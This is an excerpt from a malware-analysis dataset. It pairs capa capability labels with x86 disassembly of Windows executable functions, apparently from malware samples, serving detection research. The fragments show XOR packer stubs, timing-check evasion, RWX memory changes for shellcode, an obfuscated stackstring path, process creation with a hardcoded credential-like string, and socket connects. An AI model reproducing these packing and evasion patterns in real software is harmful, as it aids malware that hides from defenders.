joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401f10
Capabilities:
Get disk information
Inspect load icon resource
Read file on windows

Disassembly:
mov eax, dword [esp + 4]
sub esp, 0x148
push ebx
push esi
push edi
push 0x65
push eax
call dword [sym.imp.USER32.dll_LoadIconA]
lea ecx, [esp + 0xc]
call fcn.00401000
lea ecx, [esp + 0x50]
push 0x104
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [esp + 0x50]
lea ecx, [esp + 0xc]
push edx
call fcn.004012b0
test eax, eax
je 0x402021
lea eax, [esp + 0x50]
push 0x404030
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
add esp, 8
test esi, esi
je 0x402084
lea ecx, [esp + 0x50]
push ecx
lea ecx, [esp + 0x10]
call fcn.00401290
mov edi, dword [sym.imp.MSVCRT.dll_fseek]
sub eax, 8
push 0
push eax
push esi
call edi
mov ebx, dword [sym.imp.MSVCRT.dll_fread]
push esi
push 1
lea edx, [esp + 0x24]
push 8
push edx
call ebx
mov eax, dword [esp + 0x2c]
push 0
push eax
push esi
call edi
push esi
push 1
lea ecx, [esp + 0x48]
push 0x38
push ecx
call ebx
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
mov eax, dword [esp + 0x88]
mov edx, dword [esp + 0x50]
add esp, 0x3c
test eax, eax
mov eax, dword [esp + 0x10]
push edx
push eax
jne 0x401ffe
sub esp, 0x38
mov ecx, 0xe
lea esi, [esp + 0x58]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x90]
push ecx
lea ecx, [esp + 0x50]
call fcn.00401800
jmp 0x402084
sub esp, 0x38
mov ecx, 0xe
lea esi, [esp + 0x58]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x90]
push ecx
lea ecx, [esp + 0x50]
call fcn.00401a90
jmp 0x402084
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString_1
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov edi, eax
mov esi, 1
xor ebx, ebx
test edi, esi
je 0x40206a
mov dl, bl
lea ecx, [esp + 0x10]
add dl, 0x41
push edx
call sub.MFC42.DLL_CString::operator_1
push 0x40412c
lea ecx, [esp + 0x14]
call fcn.004020e2
lea ecx, [esp + 0xc]
mov eax, dword [esp + 0x10]
push eax
push 0
call fcn.00401cf0
add esi, esi
inc ebx
cmp ebx, 0x1a
jl 0x402039
lea ecx, [esp + 0xc]
call fcn.00401040
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0xc]
call fcn.00401030
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x148
ret 0x10

Function at 0x430003
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
mov eax, section..00cfg
mov ebx, 0x408ecc
nop
mov ecx, 0x3dd72fe4
nop
nop
test eax, eax
nop
nop
nop
je 0x43004e
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
inc eax
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x430024
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x42e1d0
nop
mov ecx, 0x23a53e35
test eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
je 0x430084
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x43006c
popal
nop
nop
nop
nop
nop
jmp 0x401219
Function at 0x503b8c
Capabilities:
Accept command line arguments
Hide graphical window

Disassembly:
mov ecx, ebp
push ebp
mov ebp, esp
mov dword [0x505076], ecx
call dword [sym.imp.kernel32.dll_GetCommandLineA]
mov dword [0x505298], eax
mov dword [0x505220], 0x503376
mov dword [0x50521c], 2
jmp 0x503bbc
mov dword [0x505224], 0
mov dword [0x505228], 0
mov dword [0x505218], 0x30
push 0
call dword [sym.imp.kernel32.dll_GetModuleHandleA]
mov dword [0x50522c], eax
mov dword [0x505240], 0x50408c
mov dword [0x505238], 0xf
mov dword [0x50506e], eax
push 0x7f00
push 0
call dword [sym.imp.user32.dll_LoadIconA]
mov dword [0x505230], eax
mov dword [0x505244], eax
push 0x7f00
push 0
call dword [sym.imp.user32.dll_LoadCursorA]
mov dword [0x505234], eax
push 0x505218
call dword [sym.imp.user32.dll_RegisterClassExA]
push 0
push dword [0x50506e]
push 0
push 0
push 0x1e5
push 0x21e
push 0xffffe52a
push 0xfffff588
push 0x40000
push str.wait
push str.aroka
push 0
call dword [sym.imp.user32.dll_CreateWindowExA]
mov dword [0x505290], eax
push 5
push dword [0x505290]
call dword [sym.imp.user32.dll_ShowWindow]
push dword [0x505290]
call dword [sym.imp.user32.dll_UpdateWindow]
jmp 0x503c8f
push 0
push 0
push 0
push 0x505248
call dword [sym.imp.user32.dll_GetMessageA]
or eax, eax
je 0x503cbc
push 0x505248
call dword [sym.imp.user32.dll_TranslateMessage]
push 0x505248
call dword [sym.imp.user32.dll_DispatchMessageA]
jmp 0x503c8f
mov eax, dword [0x505250]
jmp 0x503cc9
call 0x502c0d
ret

Function at 0x401031
Capabilities:
Create process on windows

Disassembly:
push 0
call sub.kernel32.dll_GetModuleHandleA
mov dword [0x403220], eax
call sub.kernel32.dll_GetCommandLineA
mov dword [0x403224], eax
push 0xa
push dword [0x403224]
push 0
push dword [0x403220]
call 0x401031
push eax
call sub.kernel32.dll_ExitProcess
push ebp
mov ebp, esp
add esp, 0xffffffb0
mov eax, dword [ebp + 0x10]
inc eax
mov dl, byte [eax]
cmp dl, 0x20
jne 0x401044
jmp 0x401046
jmp 0x40103a
inc eax
push eax
push 0x403123
call fcn.00401110
push 0xfa
push 0x403029
push 0xffffffffffffffff
push 0x403123
push 0
push 0
call sub.kernel32.dll_MultiByteToWideChar
mov dword [0x403228], 0x44
mov dword [0x403254], 1
mov word [0x403258], 0
push 0x40326c
push 0x403228
push 0
push 0
push 0
push 0x403029
push 0
push 0
push 0x403025
push 0
push str.mima1
call sub.advapi32.dll_CreateProcessWithLogonW
push 0xffffffffffffffff
push dword [0x40326c]
call sub.kernel32.dll_WaitForSingleObject
push dword [0x40326c]
call sub.kernel32.dll_CloseHandle
push dword [0x403270]
call sub.kernel32.dll_CloseHandle
push 0
call sub.kernel32.dll_ExitProcess
mov eax, dword [ebp - 0x44]
leave
ret 0x10
Function at 0x405080
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffeac
push ebx
push esi
xor ebx, ebx
mov dword [ebp - 0x154], ebx
mov dword [ebp - 0x150], ebx
mov dword [ebp - 0xc], ebx
mov ebx, ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004033fc
mov eax, dword [ebp - 8]
call fcn.004033fc
xor eax, eax
push ebp
push 0x4051db
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, ebx
call fcn.00403094
cmp dword [ebp - 4], 0
je 0x4050ee
mov eax, dword [ebp - 4]
jmp loc.0041b960
cmp dword [ebp - 8], 0
je 0x40511d
mov eax, dword [ebp - 8]
cmp byte [eax], 0x5c
jne 0x40511d
lea ecx, [ebp - 0x150]
mov edx, 2
mov eax, dword [ebp - 8]
call fcn.00404728
mov edx, dword [ebp - 0x150]
lea eax, [ebp - 8]
call fcn.0040312c
lea eax, [ebp - 0xc]
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 4]
call fcn.00403258
lea eax, [ebp - 0x14c]
push eax
mov eax, dword [ebp - 0xc]
call fcn.0040340c
push eax
call sub.kernel32.dll_FindFirstFileA
mov esi, eax
test esi, esi
setne al
jmp 0x4051a6
test dword [ebp - 0x14c], 0x10
ja 0x405193
cmp dword [ebx], 0
je 0x405166
mov eax, ebx
mov edx, 0x4051fc
call fcn.00403214
push dword [ebx]
push dword [ebp - 4]
lea eax, [ebp - 0x154]
lea edx, [ebp - 0x120]
mov ecx, 0x104
call fcn.004031f4
push dword [ebp - 0x154]
mov eax, ebx
mov edx, 3
call fcn.004032cc
lea eax, [ebp - 0x14c]
push eax
push esi
call sub.kernel32.dll_FindNextFileA
cmp eax, 1
sbb eax, eax
inc eax
test al, al
jne 0x405149
push esi
call sub.kernel32.dll_FindClose
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4051e2
lea eax, [ebp - 0x154]
mov edx, 2
call fcn.004030b8
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.004030b8
ret
Function at 0x405634
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
mov ebx, eax
pushal
call fcn.004052d8
call fcn.0040456c
mov dword [ebx + 0x18], eax
popal
pushal
lea eax, [ebx + 0x1c]
call fcn.004030e8
popal
mov eax, dword [ebx + 0x1c]
test eax, eax
je 0x40574c
pushal
lea edx, [ebx + 0x1c]
mov eax, dword [edx]
call fcn.00404db8
mov eax, dword [ebx + 0x20]
test eax, eax
jne 0x4056a9
call fcn.00405c80
mov dword [ebx + 0x20], eax
popal
pushal
push ecx
xchg ecx, eax
mov edx, 0x40569b
call fcn.004048d8
test al, al
pop edx
jne 0x405691
mov edx, 0x4056a7
mov eax, dword [ebx + 0x20]
call fcn.00405cac
jmp 0x4056a9
popal
add esp, 0xfffffec0
xor edx, edx
push edx
push edx
xchg ecx, eax
mov edx, esp
call fcn.00405300
lea eax, [esp + 4]
mov edx, dword [ebx + 0x1c]
pop ecx
push ecx
call fcn.00403258
call fcn.004044a8
pop eax
mov edx, esp
push eax
push edx
push eax
call sub.kernel32.dll_FindFirstFileA
mov edi, eax
inc eax
mov eax, esp
pushfd
call fcn.00403094
popfd
pop ecx
je 0x405746
mov ecx, dword [esp]
push dword [ebp + 8]
lea edx, [esp + 0x30]
mov eax, ebx
call fcn.0040536c
test al, al
je 0x405735
mov ecx, dword [ebx + 0x24]
jecxz 0x405717
mov eax, dword [ebx + 0x28]
mov ecx, esp
push 1
mov edx, esp
push edx
mov edx, ebx
call dword [ebx + 0x24]
pop ecx
jecxz 0x405735
loop 0x405746
mov eax, 0x140
push eax
call fcn.00402448
push eax
xchg edx, eax
mov eax, dword [ebx + 0x18]
call fcn.004045e8
pop edx
pop ecx
mov eax, esp
call fcn.0040254c
push esp
push edi
call sub.kernel32.dll_FindNextFileA
test eax, eax
jne 0x4056e9
push edi
call sub.kernel32.dll_FindClose
add esp, 0x140
xor eax, eax
xchg dword [ebx + 0x20], eax
call fcn.00404520
pop edi
pop ebx
pop ebp
ret 4

Function at 0x406218
Capabilities:
Capture screenshot
Packed with generic packer

Disassembly:
push ebx
mov ebx, eax
call fcn.00406144
je 0x40625d
mov eax, ebx
push edx
call fcn.0040648c
pop edx
cmp eax, edx
je 0x40625d
test edx, edx
mov eax, ebx
jne 0x40623c
pop ebx
inc edx
jmp fcn.0040647c
mov byte [ebx + 0x49], dl
cmp dl, 5
jne 0x406245
dec edx
push edx
xor edx, edx
call fcn.0040647c
mov eax, dword [ebx + 0x3d]
movzx eax, word [eax + 0xe]
call fcn.00405f98
pop edx
cmp al, dl
xchg ebx, eax
pop ebx
jne fcn.0040627c
ret
Function at 0x407e30
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ebx
push esi
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004033fc
xor eax, eax
push ebp
push 0x407f09
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
cmp byte [eax], 0x5c
jne 0x407e68
mov eax, dword [ebp - 4]
call fcn.00407220
jmp 0x407e70
mov eax, dword [ebp - 4]
call fcn.00407c1c
call fcn.00404ae8
mov esi, eax
test esi, esi
jle 0x407ebc
mov ebx, 1
lea edx, [ebp - 8]
mov eax, ebx
call fcn.004049d0
mov eax, dword [ebp - 8]
cmp byte [eax], 0x5c
jne 0x407ea6
lea edx, [ebp - 0xc]
mov eax, ebx
call fcn.004049d0
mov eax, dword [ebp - 0xc]
call fcn.00407220
jmp 0x407eb8
lea edx, [ebp - 0x10]
mov eax, ebx
call fcn.004049d0
mov eax, dword [ebp - 0x10]
call fcn.00407c1c
inc ebx
dec esi
jne 0x407e80
push 1
push dword [ebp - 4]
push 0x407f20
lea edx, [ebp - 0x18]
xor eax, eax
call fcn.00406f84
push dword [ebp - 0x18]
lea eax, [ebp - 0x14]
mov edx, 3
call fcn.004032cc
mov eax, dword [ebp - 0x14]
call fcn.0040340c
push eax
call sub.kernel32.dll_WinExec
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x407f10
lea eax, [ebp - 0x18]
mov edx, 6
call fcn.004030b8
ret

Function at 0x432000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
mov ebx, 0x40c7d0
nop
mov ecx, 0x23d433e6
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x43204e
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x432024
nop
nop
nop
mov eax, section..data
mov ebx, 0x42f314
nop
nop
mov ecx, 0x24c06ac3
nop
nop
test eax, eax
nop
nop
nop
je 0x432084
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
add eax, 4
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x43206c
nop
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x431219
Function at 0x414dd2
Capabilities:
Encode data using xor

Disassembly:
xor dword [ecx], edi
mov edx, 0x29c39769
push edx
mov esi, dword [esp]
add esp, 4
add ecx, 4
sub edx, 0x1f3e1cc1
sub eax, edx
sub eax, esi
cmp ecx, ebx
jne fcn.00414dd2
or esi, esi
add eax, 0xf948195b
dec edx
ret
Function at 0x403b70
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x134
push ebx
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
push str.GetSystemDirectoryA
push str.KERNEL32.dll
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push str.lstrcatA
push str.KERNEL32.dll
mov ebx, eax
call esi
push eax
call edi
push str.lstrcpyA
push str.KERNEL32.dll
mov ebp, eax
call esi
push eax
call edi
mov esi, eax
lea eax, [esp + 0x40]
push 0x104
push eax
call ebx
mov al, 0x65
mov dl, 0x74
mov byte [esp + 0x1c], al
mov byte [esp + 0x21], dl
mov byte [esp + 0x22], al
mov byte [esp + 0x25], al
mov byte [esp + 0x26], dl
mov byte [esp + 0x2e], al
mov byte [esp + 0x32], al
mov byte [esp + 0x38], al
mov byte [esp + 0x3a], al
mov byte [esp + 0x3c], al
mov cl, 0x72
mov bl, 0x6c
mov dl, 0x78
xor al, al
mov byte [esp + 0x10], 0x5c
mov byte [esp + 0x11], 0x50
mov byte [esp + 0x12], cl
mov byte [esp + 0x13], 0x6f
mov byte [esp + 0x14], 0x67
mov byte [esp + 0x15], cl
mov byte [esp + 0x16], 0x61
mov byte [esp + 0x17], 0x6d
mov byte [esp + 0x18], 0x20
mov byte [esp + 0x19], 0x46
mov byte [esp + 0x1a], 0x69
mov byte [esp + 0x1b], bl
mov byte [esp + 0x1d], 0x73
mov byte [esp + 0x1e], 0x5c
mov byte [esp + 0x1f], 0x49
mov byte [esp + 0x20], 0x6e
mov byte [esp + 0x23], cl
mov byte [esp + 0x24], 0x6e
mov byte [esp + 0x27], 0x20
mov byte [esp + 0x28], 0x45
mov byte [esp + 0x29], dl
mov byte [esp + 0x2a], 0x70
mov byte [esp + 0x2b], bl
mov byte [esp + 0x2c], 0x6f
mov byte [esp + 0x2d], cl
mov byte [esp + 0x2f], cl
mov byte [esp + 0x30], 0x5c
mov byte [esp + 0x31], 0x69
mov byte [esp + 0x33], dl
mov byte [esp + 0x34], 0x70
mov byte [esp + 0x35], bl
mov byte [esp + 0x36], 0x6f
mov byte [esp + 0x37], cl
mov byte [esp + 0x39], 0x2e
mov byte [esp + 0x3b], dl
mov byte [esp + 0x3d], al
mov byte [esp + 0x42], al
lea ecx, [esp + 0x10]
lea edx, [esp + 0x40]
push ecx
push edx
call ebp
mov ecx, dword [esp + 0x148]
lea eax, [esp + 0x40]
push eax
push ecx
call esi
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x134
ret

Function at 0x4055a0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket

Disassembly:
sub esp, 0x10
push esi
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
cmp esi, 0xffffffff
jne 0x4055be
or eax, eax
pop esi
add esp, 0x10
ret
mov ecx, dword [esp + 0x1c]
mov eax, dword [esp + 0x18]
push ecx
mov dword [esp + 0xc], eax
mov word [esp + 8], 2
call dword [sym.imp.WS2_32.dll_htons]
lea edx, [esp + 4]
push 0x10
push edx
push esi
mov word [esp + 0x12], ax
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x4055ff
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
or eax, 0xffffffff
pop esi
add esp, 0x10
ret
mov eax, esi
pop esi
add esp, 0x10
ret

Function at 0x402240
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
call dword [sym.imp.kernel32.dll_GetCommandLineA]
mov dword [0x404144], eax
mov ecx, ebp
add ecx, 8
mov dword [0x4040e2], ecx
mov dword [0x404148], 0x30
mov dword [0x40414c], 2
jmp loc.004082d3
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x408ecc
mov ecx, 0x259071c1
nop
test eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
je 0x43004e
nop
xor dword [eax], ecx
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x430024
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x42e1d0
nop
mov ecx, 0x77640d7b
nop
nop
test eax, eax
nop
nop
nop
je 0x430084
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x43006c
nop
popal
nop
nop
nop
nop
nop
jmp 0x401219

Function at 0x4024d0
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
push ebx
xor ebx, ebx
imul edx, dword [ebx + 0x406008], 0x8088405
inc edx
mov dword [ebx + 0x406008], edx
mul edx
mov eax, edx
pop ebx
ret
Function at 0x4097ac
Capabilities:
Allocate or change rwx memory
Get system information on windows

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffffbc
mov edi, eax
lea esi, [esp + 0x28]
lea eax, [esp + 4]
push eax
call sub.kernel32.dll_GetSystemInfo
mov ebx, edi
push 0x1c
push esi
push ebx
call sub.kernel32.dll_VirtualQuery
test eax, eax
je 0x409860
jmp 0x409855
cmp dword [esi + 0x10], 0x1000
jne 0x409841
test byte [esi + 0x15], 1
jne 0x409841
xor ebx, ebx
mov eax, dword [esi + 0x14]
cmp eax, 1
je 0x409800
cmp eax, 2
je 0x409800
cmp eax, 0x10
je 0x409800
cmp eax, 0x20
jne 0x409815
push esp
push 0x40
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
test eax, eax
je 0x409815
mov bl, 1
xor ebp, ebp
jmp 0x409826
mov eax, dword [esi]
add eax, ebp
call fcn.004097a4
add ebp, dword [esp + 8]
cmp ebp, dword [esi + 0xc]
jb 0x409819
test bl, bl
je 0x409841
push esp
mov eax, dword [esp + 4]
push eax
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
mov eax, dword [esi]
add eax, dword [esi + 0xc]
mov ebx, eax
push 0x1c
push esi
push ebx
call sub.kernel32.dll_VirtualQuery
test eax, eax
je 0x409860
mov eax, dword [esi + 4]
cmp eax, edi
je 0x4097d8
add esp, 0x44
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x40353a
Capabilities:
Accept command line arguments
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
push esi
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov esi, eax
mov al, byte [esi]
cmp al, 0x22
jne 0x403563
mov al, byte [esi + 1]
inc esi
test al, al
je 0x40355b
cmp al, 0x22
jne 0x40354f
cmp byte [esi], 0x22
jne 0x40356d
inc esi
jmp 0x40356d
cmp al, 0x20
jle 0x40356d
inc esi
cmp byte [esi], 0x20
jg 0x403567
mov al, byte [esi]
test al, al
je 0x403577
cmp al, 0x20
jle 0x403560
and dword [ebp - 0x18], 0
lea eax, [ebp - 0x44]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
call fcn.00401de7
push 0x404004
push section..data
call fcn.00403520
test byte [ebp - 0x18], 1
pop ecx
pop ecx
je 0x4035a7
movzx eax, word [ebp - 0x14]
jmp 0x4035aa
push 0xa
pop eax
push eax
push esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call main
mov esi, eax
call fcn.004035cd
push esi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x401411
Capabilities:
Check for time delay via gettickcount
Get common file path

Disassembly:
push ebp
mov ebp, esp
push esi
push ebx
sub esp, 0x150
mov ebx, dword [sym.imp.KERNEL32.dll_GetTickCount]
call ebx
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [esp], 0
mov dword [ebp - 0x134], 0
mov dword [ebp - 0x130], 0
call esi
push edx
mov dword [ebp - 0x124], eax
call ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
call ebx
mov dword [esp + 4], 0
mov dword [esp], 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp - 0x118], 6
push ecx
push ecx
mov dword [esp + 4], 0x7f00
mov dword [esp], 0
mov dword [ebp - 0x110], 0
mov dword [ebp - 0x114], 0
call dword [sym.imp.USER32.dll_LoadCursorA]
push edx
push edx
mov dword [esp + 4], 0x7f00
mov dword [esp], 0
mov dword [ebp - 0x11c], eax
call dword [sym.imp.USER32.dll_LoadIconA]
push ecx
push ecx
mov dword [esp], 0
mov dword [ebp - 0x120], eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
push eax
lea eax, [ebp - 0x134]
mov dword [esp], eax
call dword [sym.imp.USER32.dll_RegisterClassW]
push eax
mov dword [esp], 0
call esi
lea esi, [ebp - 0x10c]
push edx
mov dword [esp + 4], 0
mov dword [esp], eax
call dword [sym.imp.USER32.dll_LoadAcceleratorsA]
push ecx
push ecx
mov dword [esp + 0x10], esi
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x1a
mov dword [esp], 0
call dword [sym.imp.SHELL32.DLL_SHGetFolderPathA]
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
jmp loc.00464cc0

Function at 0x40162e
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0xa4
mov dword [ebp - 0x88], 1
call fcn.00401411
test eax, eax
jne 0x4016c8
lea eax, [ebp - 0x8c]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], eax
mov eax, 0x402132
sub eax, 0x4016d0
mov dword [esp], 0x4016d0
mov dword [esp + 4], eax
mov dword [ebp - 0x8c], 0
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
cmp dword [ebp - 0x8c], 0
je 0x4016c8
lea ebx, [ebp - 0x88]
mov dword [esp], 0
call fcn.00401382
mov dword [esp + 4], ebx
mov dword [esp], 0
call fcn.004015b7
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1b400
mov dword [esp], 0x40300c
call fcn.00401e35
jmp loc.00464330
Function at 0x40155a
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push 0x405020
push dword [ebp + 0xc]
mov dword [ebp - 4], ecx
call dword [sym.imp.MSVCRT.dll_fopen]
mov ebx, eax
pop ecx
test ebx, ebx
pop ecx
je 0x4015bd
push esi
mov esi, dword [ebp + 0x10]
push edi
lea eax, [esi + 0x400]
push eax
call sub.MFC42.DLL_operatornew
mov edi, eax
pop ecx
xor eax, eax
mov ecx, dword [ebp - 4]
push eax
push eax
push eax
push edi
push dword [ebp + 8]
call fcn.004010a3
push ebx
push 1
push esi
push edi
call dword [sym.imp.MSVCRT.dll_fwrite]
push ebx
call dword [sym.imp.MSVCRT.dll_fclose]
push edi
call sub.MFC42.DLL_operatordelete
add esp, 0x18
push 1
pop eax
pop edi
pop esi
pop ebx
leave
ret 0xc

Function at 0x401630
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push edi
push 0x405060
mov dword [ebp - 8], ecx
push dword [ebp + 8]
call dword [sym.imp.MSVCRT.dll_fopen]
mov edi, eax
xor ebx, ebx
pop ecx
cmp edi, ebx
pop ecx
jne 0x401659
xor eax, eax
jmp 0x401730
push esi
mov esi, dword [sym.imp.MSVCRT.dll_fseek]
push 2
push ebx
push edi
call esi
push edi
call dword [sym.imp.MSVCRT.dll_ftell]
push ebx
push ebx
push edi
mov dword [ebp + 8], eax
call esi
push dword [ebp + 8]
call sub.MFC42.DLL_operatornew
push edi
push 1
push dword [ebp + 8]
mov dword [ebp - 4], eax
push eax
call dword [sym.imp.MSVCRT.dll_fread]
push edi
call dword [sym.imp.MSVCRT.dll_fclose]
mov ebx, dword [ebp + 0xc]
mov edi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
add esp, 0x34
push 0x405044
push ebx
call edi
lea esi, [ebx + 8]
mov eax, dword [ebp + 8]
push 0x40505c
mov word [esi], 0x10
inc esi
inc esi
and word [esi], 0
inc esi
inc esi
mov dword [esi], eax
add esi, 0xc
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov word [esi], ax
lea eax, [esi + 2]
push 0x40505c
push eax
call edi
movzx eax, word [esi]
push str.rt78687687987987978
push str.tyuyi7687698798
lea esi, [esi + eax + 2]
call edi
mov edi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call edi
push 8
push 1
push dword [ebp + 8]
mov ecx, dword [ebp - 8]
mov dword [ebp + 0xc], eax
lea eax, [esi + 1]
push eax
mov byte [esi], 8
push dword [ebp - 4]
call fcn.004012c4
lea esi, [esi + eax + 1]
call edi
sub eax, dword [ebp + 0xc]
push dword [ebp - 4]
sub esi, ebx
mov dword [ebx + 0x10], eax
mov eax, dword [ebp + 0x10]
mov dword [eax], esi
call sub.MFC42.DLL_operatordelete
pop ecx
push 1
pop eax
pop esi
pop edi
pop ebx
leave
ret 0xc

Function at 0x4017b3
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push dword [esp + 0x10]
mov ebx, ecx
push dword [esp + 0x10]
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov esi, eax
test esi, esi
je 0x4017f0
push esi
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [esp + 0x14]
cmp eax, 1
mov dword [ecx], eax
je 0x4017f0
push esi
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov esi, eax
test esi, esi
jne 0x4017f4
xor eax, eax
jmp 0x40180d
add ebx, 0xc4
push str.tyrtyrtyrtyryrtytr
push ebx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push esi
call dword [sym.imp.KERNEL32.dll_LockResource]
pop esi
pop ebx
ret 0xc